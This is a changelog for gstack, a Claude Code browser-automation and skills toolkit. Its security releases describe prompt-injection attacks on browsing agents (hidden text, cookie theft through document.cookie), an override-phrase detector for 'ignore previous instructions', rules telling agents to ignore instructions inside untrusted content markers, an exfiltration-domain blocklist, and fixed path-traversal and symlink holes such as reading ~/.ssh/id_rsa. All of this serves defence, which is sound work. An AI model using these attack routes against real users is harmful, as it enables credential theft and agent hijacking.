- **CI/Claude Code Bash calls can now share a persistent headless server.** The headless spawn path used to hardcode the CLI's own PID as the watchdog target, ignoring `BROWSE_PARENT_PID=0` even if you set it in your environment. Now `BROWSE_PARENT_PID=0 $B goto https://...` keeps the server alive across short-lived CLI invocations, which is what multi-step workflows (CI matrices, Claude Code's Bash tool, cookie picker flows) actually want.
- **`SIGTERM` / `SIGINT` shutdown now exits with code 0 instead of 1.** Regression caught during /ship's adversarial review: when `shutdown()` started accepting an `exitCode` argument, Node's signal listeners silently passed the signal name (`'SIGTERM'`) as the exit code, which got coerced to `NaN` and used `1`. Wrapped the listeners so they call `shutdown()` with no args. Your `Ctrl+C` now exits clean again.

### For contributors
- `test/relink.test.ts` no longer flakes under parallel test load. The 23 tests in that file each shell out to `gstack-config` + `gstack-relink` (bash subprocess work), and under `bun test` with other suites running, each test drifted ~200ms past Bun's 5s default. Wrapped `test` to default the per-test timeout to 15s with `Object.assign` preserving `.only`/`.skip`/`.each` sub-APIs.
- `BrowserManager` gained an `onDisconnect` callback (wired by `server.ts` to `shutdown(2)`), replacing the direct `process.exit(2)` in the disconnect handler. The callback is wrapped with try/catch + Promise rejection handling so a rejecting cleanup path still exits the process instead of leaving a live server attached to a dead browser.
- `shutdown()` now accepts an optional `exitCode: number = 0` parameter, used by the disconnect path (exit 2) and the signal path (default 0). Same cleanup code, two call sites, distinct exit codes.
- `BROWSE_PARENT_PID` parsing in `cli.ts` now matches `server.ts`: `parseInt` instead of strict string equality, so `BROWSE_PARENT_PID=0\n` (common from shell `export`) is honored.

## [0.18.0.1] - 2026-04-16

### Fixed
- **Windows install no longer fails with a build error.** If you installed gstack on Windows (or a fresh Linux box), `./setup` was dying with `cannot write multiple output files without an output directory`. The Windows-compat Node server bundle now builds cleanly, so `/browse`, `/canary`, `/pair-agent`, `/open-gstack-browser`, `/setup-browser-cookies`, and `/design-review` all work on Windows again. If you were stuck on gstack v0.15.11-era features without knowing it, this is why. Thanks to @tomasmontbrun-hash (#1019) and @scarson (#1013) for independently tracking this down, and to the issue reporters on #1010 and #960.
- **CI stops lying about green builds.** The `build` and `test` scripts in `package.json` had a shell precedence trap where a trailing `|| true` swallowed failures from the *entire* command chain, not just the cleanup step it was meant for. That's how the Windows build bug above shipped in the first place. CI ran the build, the build failed, and CI reported success anyway. Now build and test failures actually fail. Silent CI is the worst kind of CI.
- **`/pair-agent` on Windows surfaces install problems at install time, not tunnel time.** `./setup` now verifies Node can load `@ngrok/ngrok` on Windows, just like it already did for Playwright. If the native binary didn't install, you find out now instead of the first time you try to pair an agent.

### For contributors
- New `browse/test/build.test.ts` validates `server-node.mjs` is well-formed ES module syntax and that `@ngrok/ngrok` was actually externalized (not inlined). Gracefully skips when no prior build has run.
- Added a policy comment in `browse/scripts/build-node-server.sh` explaining when and why to externalize a dependency. If you add a dep with a native addon or a dynamic `await import()`, the comment tells you where to plug it in.

## [0.18.0.0] - 2026-04-15

### Added
- **Confusion Protocol.** Every workflow skill now has an inline ambiguity gate. When Claude hits a decision that could go two ways (which architecture? which data model? destructive operation with unclear scope?), it stops and asks instead of guessing. Scoped to high-stakes decisions only, so it doesn't slow down routine coding. Addresses Karpathy's #1 AI coding failure mode.
- **Hermes host support.** gstack now generates skill docs for [Hermes Agent](https://github.com/nousresearch/hermes-agent) with proper tool rewrites (`terminal`, `read_file`, `patch`, `delegate_task`). `./setup --host hermes` prints integration instructions.
- **GBrain host + brain-first resolver.** GBrain is a "mod" for gstack. When installed, your coding skills become brain-aware: they search your brain for relevant context before starting and save results to your brain after finishing. 10 skills are now brain-aware: /office-hours, /investigate, /plan-ceo-review, /retro, /ship, /qa, /design-review, /plan-eng-review, /cso, and /design-consultation. Compatible with GBrain >= v0.10.0.
- **GBrain v0.10.0 integration.** Agent instructions now use `gbrain search` (fast keyword lookup) instead of `gbrain query` (expensive hybrid). Every command shows full CLI syntax with `--title`, `--tags`, and heredoc examples. Keyword extraction guidance helps agents search effectively. Entity enrichment auto-creates stub pages for people and companies mentioned in skill output. Throttle errors are named so agents can detect and handle them. A preamble health check runs `gbrain doctor --fast --json` at session start and names failing checks when the brain is degraded.
- **Skill triggers for GBrain router.** All 38 skill templates now include `triggers:` arrays in their frontmatter, multi-word keywords like "debug this", "ship it", "brainstorm this". These power GBrain's RESOLVER.md skill router and pass `checkResolvable()` validation. Distinct from `voice-triggers:` (speech-to-text aliases).
- **Hermes brain support.** Hermes agents with GBrain installed as a mod now get brain features automatically. The resolver fallback logic ("if GBrain is not available, proceed without") handles non-GBrain Hermes installs gracefully.
- **slop:diff in /review.** Every code review now runs `bun run slop:diff` as an advisory diagnostic, catching AI code quality issues (empty catches, redundant abstractions, overcomplicated patterns) before they land. Informational only, never blocking.
- **Karpathy compatibility.** README now positions gstack as the workflow enforcement layer for [Karpathy-style CLAUDE.md rules](https://github.com/forrestchang/andrej-karpathy-skills) (17K stars). Maps each failure mode to the gstack skill that addresses it.

### Changed
- **CEO review HARD GATE reinforcement.** "Do NOT make any code changes. Review only." now repeats at every STOP point (12 locations), not just the top. Prompt repetition measurably reduces the "starts implementing" failure mode.
- **Office-hours design doc visibility.** After writing the design doc, the skill now prints the full path so downstream skills (/plan-ceo-review, /plan-eng-review) can find it.
- **Investigate investigation history.** Each investigation now logs to the learnings system with `type: "investigation"` and affected file paths. Future investigations on the same files surface prior root causes automatically. Recurring bugs in the same area = architectural smell.
- **Retro non-git context.** If `~/.gstack/retro-context.md` exists, the retro now reads it for meeting notes, calendar events, and decisions that don't appear in git history.
- **Native OpenClaw skills improved.** The 4 hand-crafted ClawHub skills (office-hours, ceo-review, investigate, retro) now mirror the template improvements above.
- **Host count: 8 to 10.** Hermes and GBrain join Claude, Codex, Factory, Kiro, OpenCode, Slate, Cursor, and OpenClaw.

## [0.17.0.0] - 2026-04-14

### Added
- **UX behavioral foundations.** Every design skill now thinks about how users actually behave, not just how the interface looks. A shared `{{UX_PRINCIPLES}}` resolver distills Steve Krug's "Don't Make Me Think" into actionable guidance: scanning behavior, satisficing, the goodwill reservoir, navigation wayfinding, and the trunk test. Injected into /design-html, /design-shotgun, /design-review, and /plan-design-review. Your design reviews now catch "this navigation is confusing" problems, not just "the contrast ratio is 4.3:1."
- **6 usability tests woven into design-review.** The methodology now runs the Trunk Test (can you tell what site this is, what page you're on, and how to search?), 3-Second Scan (what do users see first?), Page Area Test (can you name each section's purpose?), Happy Talk Detection with word count (how much of this page is "blah blah blah"?), Mindless Choice Audit (does every click feel obvious?), and Goodwill Reservoir tracking with a visual dashboard (what depletes the user's patience at each step?).
- **First-person narration mode.** Design review reports now read like a usability consultant watching someone use your site: "I'm looking at this page... my eye goes to the logo, then a wall of text I skip entirely. Wait, is that a button?" With anti-slop guardrail: if the agent can't name the specific element, it's generating platitudes.
- **`$B ux-audit` command.** Standalone UX structural extraction. One command extracts site ID, navigation, headings, interactive elements, text blocks, and search presence as structured JSON. The agent applies the 6 usability tests to the data. Pure data extraction with element caps (50 headings, 100 links, 200 interactive, 50 text blocks).
- **`snapshot -H` / `--heatmap` flag.** Color-coded overlay screenshots. Pass a JSON map of ref IDs to colors (`green`/`yellow`/`red`/`blue`/`orange`/`gray`) and get an annotated screenshot with per-element colored boxes. Color whitelist prevents CSS injection. Composable: any skill can use it.
- **Token ceiling enforcement.** `gen-skill-docs` now warns if any generated SKILL.md exceeds 100KB (~25K tokens). Catches prompt bloat before it degrades agent performance.

### Changed
- **Krug's always/never rules** added to the design hard rules: never placeholder-as-label, never floating headings, always visited link distinction, never sub-16px body text. These join the existing AI slop blacklist as mechanical checks.
- **Plan-design-review references** now include Steve Krug, Ginny Redish (Letting Go of the Words), and Caroline Jarrett (Forms that Work) alongside Rams, Norman, and Nielsen.

## [0.16.4.0] - 2026-04-13

### Added
- **Cookie origin pinning.** When you import cookies for specific domains, JS execution is now blocked on pages that don't match those domains. This prevents the attack where a prompt injection navigates to an attacker's site and runs `document.cookie` to steal your imported cookies. Subdomain matching works automatically (importing `.github.com` allows `api.github.com`). When no cookies are imported, everything works as before. 3 PRs from @halbert04.
- **Command audit log.** Every browse command now gets a persistent forensic trail in `~/.gstack/.browse/browse-audit.jsonl`. Timestamp, command, args, page origin, duration, status, error, and whether cookies were imported. Append-only, never truncated, survives server restarts. Best-effort writes that never block command execution. From @halbert04.
- **Cookie domain tracking.** gstack now tracks which domains cookies were imported from. Foundation for origin pinning above. Direct imports via `--domain` track automatically. New `--all` flag makes full-browser cookie import an explicit opt-in instead of the default.

### Fixed
- **Symlink bypass in file writes.** `validateOutputPath` only checked the parent directory for symlinks, not the file itself. A symlink at `/tmp/evil.png` pointing to `/etc/crontab` passed validation because the parent `/tmp` was safe. Now checks the file with `lstatSync` before writing. From @Hybirdss.
- **Cookie-import path bypass.** Two issues: relative paths bypassed all validation (the `path.isAbsolute()` gate let `sensitive-file.json` through), and symlink resolution was missing (`path.resolve` without `realpathSync`). Now resolves to absolute, resolves symlinks, and checks against safe directories. From @urbantech.
- **Shell injection in setup scripts.** `gstack-settings-hook` interpolated file paths directly into `bun -e` JavaScript blocks. A path with quotes broke the JS string context. Now uses environment variables (`process.env`). Systematic audit confirmed only this script was vulnerable. From @garagon.
- **Form field credential leak.** Snapshot redaction only applied to `type="password"` fields. Hidden and text fields named `csrf_token`, `api_key`, `session_id` were exposed unredacted in LLM context. Now checks field name and id against sensitive patterns. From @garagon.
- **Learnings prompt injection.** Three fixes: input validation (type/key/confidence allowlists), injection pattern detection in insight field (blocks "ignore previous instructions" etc.), and cross-project trust gate (only user-stated learnings cross project boundaries). From @Ziadstr.
- **IPv6 metadata bypass.** The URL constructor normalizes `::ffff:169.254.169.254` to `::ffff:a9fe:a9fe` (hex), which wasn't in the blocklist. Added both hex-encoded forms. From @mehmoodosman.
- **Session files world-readable.** Design session files in `/tmp` were created with default permissions (0644). Now 0600 (owner-only). From @garagon.
- **Frozen lockfile in setup.** `bun install` now uses `--frozen-lockfile` to prevent supply chain attacks via floating semver ranges. From @halbert04.
- **Dockerfile chmod fix.** Removed duplicate recursive `chmod -R 1777 /tmp` (recursive sticky bit on files has no defined behavior). From @Gonzih.
- **Hardcoded /tmp in cookie import.** `cookie-import-browser` used `/tmp` directly instead of `os.tmpdir()`, breaking Windows support.

### Security
- Closed 14 security issues (#665-#675, #566, #479, #467, #545) that were fixed in prior waves but still open on GitHub.
- Closed 17 community security PRs with thank-you messages and commit references.
- Security wave 3: 12 fixes, 7 contributors. Big thanks to @Hybirdss, @urbantech, @garagon, @Ziadstr, @halbert04, @mehmoodosman, @Gonzih.

## [0.16.3.0] - 2026-04-09

### Changed
- **AI slop cleanup.** Ran [slop-scan](https://github.com/benvinegar/slop-scan) and dropped from 100 findings (2.38 score/file) to 90 findings (1.96 score/file). The good part: `safeUnlink()` and `safeKill()` utilities that catch real bugs (swallowed EPERM in shutdown was a silent data loss risk). `safeUnlinkQuiet()` for cleanup paths where throwing is worse than swallowing. `isProcessAlive()` extracted to a shared module with Windows support. Redundant `return await` removed. Typed exception catches (TypeError, DOMException, ENOENT) replace empty catches in system boundary code. The part we tried and reverted: string-matching on error messages was brittle, extension catch-and-log was correct as-is, pass-through wrapper comments were linter gaming. We are AI-coded and proud of it. The goal is code quality, not hiding.

### Added
- **`bun run slop:diff`** shows only NEW slop-scan findings introduced on your branch vs main. Line-number-insensitive comparison so shifted code doesn't create false positives. Runs automatically after `bun test`.
- **Slop-scan usage guidelines** in CLAUDE.md: what to fix (genuine quality) vs what NOT to fix (linter gaming). Includes utility function reference table.
- **Design doc** for future slop-scan integration in `/review` and `/ship` skills (`docs/designs/SLOP_SCAN_FOR_REVIEW_SHIP.md`).

## [0.16.2.0] - 2026-04-09

### Added
- **Office hours now remembers you.** The closing experience adapts based on how many sessions you've done. First time: full YC plea and founder resources. Sessions 2-3: "Welcome back. Last time you were working on [your project]. How's it going?" Sessions 4-7: arc-level callbacks across your whole journey, accumulated signal visibility, and an auto-generated Builder Journey narrative. Sessions 8+: the data speaks for itself.
- **Builder profile** tracks your office hours journey in a single append-only session log. Signals, design docs, assignments, topics, and resources shown, all in one file. No split-brain state, no separate config keys.
- **Builder-to-founder nudge** for repeat builder-mode users who accumulate founder signals. Evidence-gated: only triggers when you've shown 5+ signals across 3+ builder sessions. Not a pitch. An observation.
- **Journey-matched resources.** Instead of category-matching from the static pool, resources now match your accumulated session context. "You've been iterating on a fintech idea for 3 sessions... Tom Blomfield built Monzo from exactly this kind of persistence."
- **Builder Journey Summary** auto-generates at session 5+ and opens in your browser. A narrative arc of your journey, not a data table. Written in second person, referencing specific things you said across sessions.
- **Global resource dedup.** Resource links now dedup globally (not per-project), so switching repos doesn't reset your watch history. Each link shows only once, ever.

### Fixed
- package.json version now stays in sync with VERSION file.

## [0.16.1.0] - 2026-04-08

### Fixed
- Cookie picker no longer leaks the browse server auth token. Previously, opening the cookie picker page exposed the master bearer token in the HTML source, letting any local process extract it and execute arbitrary JavaScript in your browser session. Now uses a one-time code exchange with an HttpOnly session cookie. The token never appears in HTML, URLs, or browser history. (Reported by Horoshi at Vagabond Research, CVSS 7.8)

## [0.16.0.0] - 2026-04-07

### Added
- **Browser data platform.** Six new browse commands that turn gstack browser from "a thing that clicks buttons" into a full scraping and data extraction tool for AI agents.
- `media` command: discover every image, video, and audio element on a page. Returns URLs, dimensions, srcset, lazy-load state, and detects HLS/DASH streams. Filter with `--images`, `--videos`, `--audio`, or scope with a CSS selector.
- `data` command: extract structured data embedded in pages. JSON-LD (product prices, recipes, events), Open Graph, Twitter Cards, and meta tags. One command gives you what used to take 50 lines of DOM scraping.
- `download` command: fetch any URL or `@ref` element to disk using the browser's session cookies. Handles blob URLs via in-page base64 conversion. `--base64` flag returns inline data URI for remote agents. Detects HLS/DASH and tells you to use yt-dlp instead of silently failing.
- `scrape` command: bulk download all media from a page. Combines `media` discovery + `download` in a loop with URL deduplication, configurable limits, and a `manifest.json` for machine consumption.
- `archive` command: save complete pages as MHTML via CDP. One command, full page with all resources.
- `scroll --times N`: automated repeated scrolling for infinite feed content loading. Configurable delay between scrolls with `--wait`.
- `screenshot --base64`: return screenshots as inline data URIs instead of file paths. Eliminates the two-step screenshot-then-file-serve dance for remote agents.
- **Network response body capture.** `network --capture` intercepts API response bodies so agents get structured JSON instead of fragile DOM scraping. Filter by URL pattern (`--filter graphql`), export as JSONL (`--export`), view summary (`--bodies`). 50MB size-capped buffer with automatic eviction.
- `GET /file` endpoint: remote paired agents can now retrieve downloaded files (images, scraped media, screenshots) over HTTP. TEMP_DIR only to prevent project file exfiltration. Bearer token auth, MIME detection, zero-copy streaming via `Bun.file()`.

### Changed
- Paired agents now get full access by default (read+write+admin+meta). The trust boundary is the pairing ceremony, not the scope. An agent that can click any button doesn't gain meaningful attack surface from also being able to run `js`. Browser-wide destructive commands (stop, restart, disconnect) moved to new `control` scope, still opt-in via `--control`.
- Path validation extracted to shared `path-security.ts` module. Was duplicated across three files with slightly different implementations. Now one source of truth with `validateOutputPath`, `validateReadPath`, and `validateTempPath`.

## [0.15.16.0] - 2026-04-06

### Added
- Per-tab state isolation via TabSession. Each browser tab now has its own ref map, snapshot baseline, and frame context. Previously these were global on BrowserManager, meaning snapshot refs from one tab could collide with another. This is the foundation for parallel multi-tab operations.
- Batch endpoint documentation in BROWSER.md with API shape, design decisions, and usage patterns.

### Changed
- Handler signatures across read-commands, write-commands, meta-commands, and snapshot now accept TabSession for per-tab operations and BrowserManager for global operations. This separation makes it explicit which operations are tab-scoped vs browser-scoped.

### Fixed
- codex-review E2E test was copying the full 55KB SKILL.md (1,075 lines), burning 8 Read calls just to consume it and exhausting the 15-turn budget before reaching the actual review. Now extracts only the review-relevant section (~6KB/148 lines), cutting Read calls from 8 to 1. Test goes from perpetual timeout to passing in 141s.

## [0.15.15.1] - 2026-04-06

### Fixed
- pair-agent tunnel drops after 15 seconds. The browse server was monitoring its parent process ID and self-terminating when the CLI exited. Now pair-agent sessions disable the parent watchdog so the server and tunnel stay alive.
- `$B connect` crashes with "domains is not defined". A stray variable reference in the headed-mode status check prevented GStack Browser from initializing properly.

## [0.15.15.0] - 2026-04-06

Community security wave: 8 PRs from 4 contributors, every fix credited as co-author.

### Added
- Cookie value redaction for tokens, API keys, JWTs, and session secrets in `browse cookies` output. Your secrets no longer appear in Claude's context.
- IPv6 ULA prefix blocking (fc00::/7) in URL validation. Covers the full unique-local range, not just the literal `fd00::`. Hostnames like `fcustomer.com` are not false-positived.
- Per-tab cancel signaling for sidebar agents. Stopping one tab's agent no longer kills all tabs.
- Parent process watchdog for the browse server. When Claude Code exits, orphaned browser processes now self-terminate within 15 seconds.
- Uninstall instructions in README (script + manual removal steps).
- CSS value validation blocks `url()`, `expression()`, `@import`, `javascript:`, and `data:` in style commands, preventing CSS injection attacks.
- Queue entry schema validation (`isValidQueueEntry`) with path traversal checks on `stateFile` and `cwd`.
- Viewport dimension clamping (1-16384) and wait timeout clamping (1s-300s) prevent OOM and runaway waits.
- Cookie domain validation in `cookie-import` prevents cross-site cookie injection.
- DocumentFragment-based tab switching in sidebar (replaces innerHTML round-trip XSS vector).
- `pollInProgress` reentrancy guard prevents concurrent chat polls from corrupting state.
- 750+ lines of new security regression tests across 4 test files.
- Supabase migration 003: column-level GRANT restricts anon UPDATE to (last_seen, gstack_version, os) only.

### Fixed
- Windows: `extraEnv` now passes through to the Windows launcher (was silently dropped).
- Windows: welcome page serves inline HTML instead of `about:blank` redirect (fixes ERR_UNSAFE_REDIRECT).
- Headed mode: auth token returned even without Origin header (fixes Playwright Chromium extensions).
- `frame --url` now escapes user input before constructing RegExp (ReDoS fix).
- Annotated screenshot path validation now resolves symlinks (was bypassable via symlink traversal).
- Auth token removed from health broadcast, delivered via targeted `getToken` handler instead.
- `/health` endpoint no longer exposes `currentUrl` or `currentMessage`.
- Session ID validated before use in file paths (prevents path traversal via crafted active.json).
- SIGTERM/SIGKILL escalation in sidebar agent timeout handler (was bare `kill()`).

### For contributors
- Queue files created with 0o700/0o600 permissions (server, CLI, sidebar-agent).
- `escapeRegExp` utility exported from meta-commands.
- State load filters cookies from localhost, .internal, and metadata domains.
- Telemetry sync logs upsert errors from installation tracking.

## [0.15.14.0] - 2026-04-05

### Fixed

- **`gstack-team-init` now detects and removes vendored gstack copies.** When you run `gstack-team-init` inside a repo that has gstack vendored at `.claude/skills/gstack/`, it automatically removes the vendored copy, untracks it from git, and adds it to `.gitignore`. No more stale vendored copies shadowing the global install.
- **`/gstack-upgrade` respects team mode.** Step 4.5 now checks the `team_mode` config. In team mode, vendored copies are removed instead of synced, since the global install is the single source of truth.
- **`team_mode` config key.** `./setup --team` and `./setup --no-team` now set a dedicated `team_mode` config key so the upgrade skill can reliably distinguish team mode from just having auto-upgrade enabled.

## [0.15.13.0] - 2026-04-04. Team Mode

Teams can now keep every developer on the same gstack version automatically. No more vendoring 342 files into your repo. No more version drift across branches. No more "who upgraded gstack last?" Slack threads. One command, every developer is current.

Hat tip to Jared Friedman for the design.

### Added

- **`./setup --team`.** Registers a `SessionStart` hook in `~/.claude/settings.json` that auto-updates gstack at the start of each Claude Code session. Runs in background (zero latency), throttled to once/hour, network-failure-safe, completely silent. `./setup --no-team` reverses it.
- **`./setup -q` / `--quiet`.** Suppresses all informational output. Used by the session-update hook but also useful for CI and scripted installs.
- **`gstack-team-init` command.** Generates repo-level bootstrap files in two flavors: `optional` (gentle CLAUDE.md suggestion, one-time offer per developer) or `required` (CLAUDE.md enforcement + PreToolUse hook that blocks work without gstack installed).
- **`gstack-settings-hook` helper.** DRY utility for adding/removing hooks in Claude Code's `settings.json`. Atomic writes (.tmp + rename) prevent corruption.
- **`gstack-session-update` script.** The SessionStart hook target. Background fork, PID-based lockfile with stale recovery, `GIT_TERMINAL_PROMPT=0` to prevent credential prompt hangs, debug log at `~/.gstack/analytics/session-update.log`.
- **Vendoring deprecation in preamble.** Every skill now detects vendored gstack copies in the project and offers one-time migration to team mode. "Want me to do it for you?" beats "here are 4 manual steps."

### Changed

- **Vendoring is deprecated.** README no longer recommends copying gstack into your repo. Global install + `--team` is the way. `--local` flag still works but prints a deprecation warning.
- **Uninstall cleans up hooks.** `gstack-uninstall` now removes the SessionStart hook from `~/.claude/settings.json`.

## [0.15.12.0] - 2026-04-05. Content Security: 4-Layer Prompt Injection Defense

When you share your browser with another AI agent via `/pair-agent`, that agent reads web pages. Web pages can contain prompt injection attacks. Hidden text, fake system messages, social engineering in product reviews. This release adds four layers of defense so remote agents can safely browse untrusted sites without being tricked.

### Added

- **Content envelope wrapping.** Every page read by a scoped agent is wrapped in `═══ BEGIN UNTRUSTED WEB CONTENT ═══` / `═══ END UNTRUSTED WEB CONTENT ═══` markers. The agent's instruction block tells it to never follow instructions found inside these markers. Envelope markers in page content are escaped with zero-width spaces to prevent boundary escape attacks.
- **Hidden element stripping.** CSS-hidden elements (opacity < 0.1, font-size < 1px, off-screen positioning, same fg/bg color, clip-path, visibility:hidden) and ARIA label injections are detected and stripped from text output. The page DOM is never mutated. Uses clone + remove for text extraction, CSS injection for snapshots.
- **Datamarking.** Text command output gets a session-scoped watermark (4-char random marker inserted as zero-width characters). If the content appears somewhere it shouldn't, the marker traces back to the session. Only applied to `text` command, not structured data like `html` or `forms`.
- **Content filter hooks.** Extensible filter pipeline with `BROWSE_CONTENT_FILTER` env var (off/warn/block, default: warn). Built-in URL blocklist catches requestbin, pipedream, webhook.site, and other known exfiltration domains. Register custom filters for your own rules.
- **Snapshot split format.** Scoped tokens get a split snapshot: trusted `@ref` labels (for click/fill) above the untrusted content envelope. The agent knows which refs are safe to use and which content is untrusted. Root tokens unchanged.
- **SECURITY section in instruction block.** Remote agents now receive explicit warnings about prompt injection, with a list of common injection phrases and guidance to only use @refs from the trusted section.
- **47 content security tests.** Covers all four layers plus chain security, envelope escaping, ARIA injection detection, false positive checks, and combined attack scenarios. Four injection fixture HTML pages for testing.

### Changed

- `handleCommand` refactored into `handleCommandInternal` (returns structured result) + thin HTTP wrapper. Chain subcommands now route through the full security pipeline (scope, domain, tab ownership, content wrapping) instead of bypassing it.
- `attrs` added to `PAGE_CONTENT_COMMANDS` (ARIA attribute values are now wrapped as untrusted content).
- Content wrapping centralized in one location in `handleCommandInternal` response path. Was fragmented across 6 call sites.

### Fixed

- `snapshot -i` now auto-includes cursor-interactive elements (dropdown items, popover options, custom listboxes). Previously you had to remember to pass `-C` separately.
- Snapshot correctly captures items inside floating containers (React portals, Radix Popover, Floating UI) even when they have ARIA roles.
- Dropdown/menu items with `role="option"` or `role="menuitem"` inside popovers are now captured and tagged with `popover-child`.
- Chain commands now check domain restrictions on `newtab` (was only checking `goto`).
- Nested chain commands rejected (recursion guard prevents chain-within-chain).
- Rate limiting exemption for chain subcommands (chain counts as 1 request, not N).
- Tunnel liveness verification: `/pair-agent` now probes the tunnel before using it, preventing dead tunnel URLs from reaching remote agents.
- `/health` serves auth token on localhost for extension authentication (stripped when tunneled).
- All 16 pre-existing test failures fixed (pair-agent skill compliance, golden file baselines, host smoke tests, relink test timeouts).

## [0.15.11.0] - 2026-04-05

### Changed
- `/ship` re-runs now execute every verification step (tests, coverage audit, review, adversarial, TODOS, document-release) regardless of prior runs. Only actions (push, PR creation, VERSION bump) are idempotent. Re-running `/ship` means "run the whole checklist again."
- `/ship` now runs the full Review Army specialist dispatch (testing, maintainability, security, performance, data-migration, api-contract, design, red-team) during pre-landing review, matching `/review`'s depth.

### Added
- Cross-review finding dedup in `/ship`: findings the user already skipped in a prior `/review` or `/ship` are automatically suppressed on re-run (unless the relevant code changed).
- PR body refresh after `/document-release`: the PR body is re-edited to include the docs commit, so it always reflects the truly final state.

### Fixed
- Review Army diff size heuristic now counts insertions + deletions (was insertions-only, which missed deletion-heavy refactors).

### For contributors
- Extracted cross-review dedup to shared `{{CROSS_REVIEW_DEDUP}}` resolver (DRY between `/review` and `/ship`).
- Review Army step numbers adapt per-skill via `ctx.skillName` (ship: 3.55/3.56, review: 4.5/4.6), including prose references.
- Added 3 regression guard tests for new ship template content.

## [0.15.10.0] - 2026-04-05. Native OpenClaw Skills + ClawHub Publishing

Four methodology skills you can install directly in your OpenClaw agent via ClawHub, no Claude Code session needed. Your agent runs them conversationally via Telegram.

### Added

- **4 native OpenClaw skills on ClawHub.** Install with `clawhub install gstack-openclaw-office-hours gstack-openclaw-ceo-review gstack-openclaw-investigate gstack-openclaw-retro`. Pure methodology, no gstack infrastructure. Office hours (375 lines), CEO review (193), investigate (136), retro (301).
- **AGENTS.md dispatch fix.** Three behavioral rules that stop Wintermute from telling you to open Claude Code manually. It now spawns sessions itself. Ready-to-paste section at `openclaw/agents-gstack-section.md`.

### Changed

- OpenClaw `includeSkills` cleared. Native ClawHub skills replace the bloated generated versions (was 10-25K tokens each, now 136-375 lines of pure methodology).
- docs/OPENCLAW.md updated with dispatch routing rules and ClawHub install references.

## [0.15.9.0] - 2026-04-05. OpenClaw Integration v2

You can now connect gstack to OpenClaw as a methodology source. OpenClaw spawns Claude Code sessions natively via ACP, and gstack provides the planning discipline and thinking frameworks that make those sessions better.

### Added

- **gstack-lite planning discipline.** A 15-line CLAUDE.md that turns every spawned Claude Code session into a disciplined builder: read first, plan, resolve ambiguity, self-review, report. A/B tested: 2x time, meaningfully better output.
- **gstack-full pipeline template.** For complete feature builds, chains /autoplan, implement, and /ship into one autonomous flow. Your orchestrator drops a task, gets back a PR.
- **4 native methodology skills for OpenClaw.** Office hours, CEO review, investigate, and retro, adapted for conversational work that doesn't need a coding environment.
- **4-tier dispatch routing.** Simple (no gstack), Medium (gstack-lite), Heavy (specific skill), Full (complete pipeline). Documented in docs/OPENCLAW.md with routing guide for OpenClaw's AGENTS.md.
- **Spawned session detection.** Set OPENCLAW_SESSION env var and gstack auto-skips interactive prompts, focusing on task completion. Works for any orchestrator, not just OpenClaw.
- **includeSkills host config field.** Union logic with skipSkills (include minus skip). Lets hosts generate only the skills they need instead of everything-minus-a-list.
- **docs/OPENCLAW.md.** Full architecture doc explaining how gstack integrates with OpenClaw, the prompt-as-bridge model, and what we're NOT building (no daemon, no protocol, no Clawvisor).

### Changed

- OpenClaw host config updated: generates only 4 native skills instead of all 31. Removed staticFiles.SOUL.md (referenced non-existent file).
- Setup script now prints redirect message for `--host openclaw` instead of attempting full installation.

## [0.15.8.1] - 2026-04-05. Community PR Triage + Error Polish

Closed 12 redundant community PRs, merged 2 ready PRs (#798, #776), and expanded the friendly OpenAI error to every design command. If your org isn't verified, you now get a clear message with the right URL instead of a raw JSON dump, no matter which design command you run.

### Fixed

- **Friendly OpenAI org error on all design commands.** Previously only `$D generate` showed a user-friendly message when your org wasn't verified. Now `$D evolve`, `$D iterate`, `$D variants`, and `$D check` all show the same clear message with the verification URL.

### Added

- **>128KB regression test for Codex session discovery.** Documents the current buffer limitation so future Codex versions with larger session_meta will surface cleanly instead of silently breaking.

### For contributors

- Closed 12 redundant community PRs (6 Gonzih security fixes shipped in v0.15.7.0, 6 stedfn duplicates). Kept #752 open (symlink gap in design serve). Thank you @Gonzih, @stedfn, @itstimwhite for the contributions.

## [0.15.8.0] - 2026-04-04. Smarter Reviews

Code reviews now learn from your decisions. Skip a finding once and it stays quiet until the code changes. Specialists auto-suggest test stubs alongside their findings. And silent specialists that never find anything get auto-gated so reviews stay fast.

### Added

- **Cross-review finding dedup.** When you skip a finding in one review, gstack remembers. On the next review, if the relevant code hasn't changed, the finding stays suppressed. No more re-skipping the same intentional pattern every PR.
- **Test stub suggestions.** Specialists can now include a skeleton test alongside each finding. The test uses your project's detected framework (Jest, Vitest, RSpec, pytest, Go test). Findings with test stubs get surfaced as ASK items so you decide whether to create the test.
- **Adaptive specialist gating.** Specialists that have been dispatched 10+ times with zero findings get auto-gated. Security and data-migration are exempt (insurance policies always run). Force any specialist back with `--security`, `--performance`, etc.
- **Per-specialist stats in review log.** Every review now records which specialists ran, how many findings each produced, and which were skipped or gated. This powers the adaptive gating and gives /retro richer data.

## [0.15.7.0] - 2026-04-05. Security Wave 1

Fourteen fixes for the security audit (#783). Design server no longer binds all interfaces. Path traversal, auth bypass, CORS wildcard, world-readable files, prompt injection, and symlink race conditions all closed. Community PRs from @Gonzih and @garagon included.

### Fixed

- **Design server binds localhost only.** Previously bound 0.0.0.0, meaning anyone on your WiFi could access mockups and hit all endpoints. Now 127.0.0.1 only, matching the browse server.
- **Path traversal on /api/reload blocked.** Could previously read any file on disk (including ~/.ssh/id_rsa) by passing an arbitrary path in the JSON body. Now validates paths stay within cwd or tmpdir.
- **Auth gate on /inspector/events.** SSE endpoint was unauthenticated while /activity/stream required tokens. Now both require the same Bearer or ?token= check.
- **Prompt injection defense in design feedback.** User feedback is now wrapped in XML trust boundary markers with tag escaping. Accumulated feedback capped to last 5 iterations to limit poisoning.
- **File and directory permissions hardened.** All ~/.gstack/ dirs now created with mode 0o700, files with 0o600. Setup script sets umask 077. Auth tokens, chat history, and browser logs no longer world-readable.
- **TOCTOU race in setup symlink creation.** Removed existence check before mkdir -p (idempotent). Validates target isn't a symlink before creating the link.
- **CORS wildcard removed.** Browse server no longer sends Access-Control-Allow-Origin: *. Chrome extension uses manifest host_permissions and isn't affected. Blocks malicious websites from making cross-origin requests.
- **Cookie picker auth mandatory.** Previously skipped auth when authToken was undefined. Now always requires Bearer token for all data/action routes.
- **/health token gated on extension Origin.** Auth token only returned when request comes from chrome-extension:// origin. Prevents token leak when browse server is tunneled.
- **DNS rebinding protection checks IPv6.** AAAA records now validated alongside A records. Blocks fe80:: link-local addresses.
- **Symlink bypass in validateOutputPath.** Real path resolved after lexical validation to catch symlinks inside safe directories.
- **URL validation on restoreState.** Saved URLs validated before navigation to prevent state file tampering.
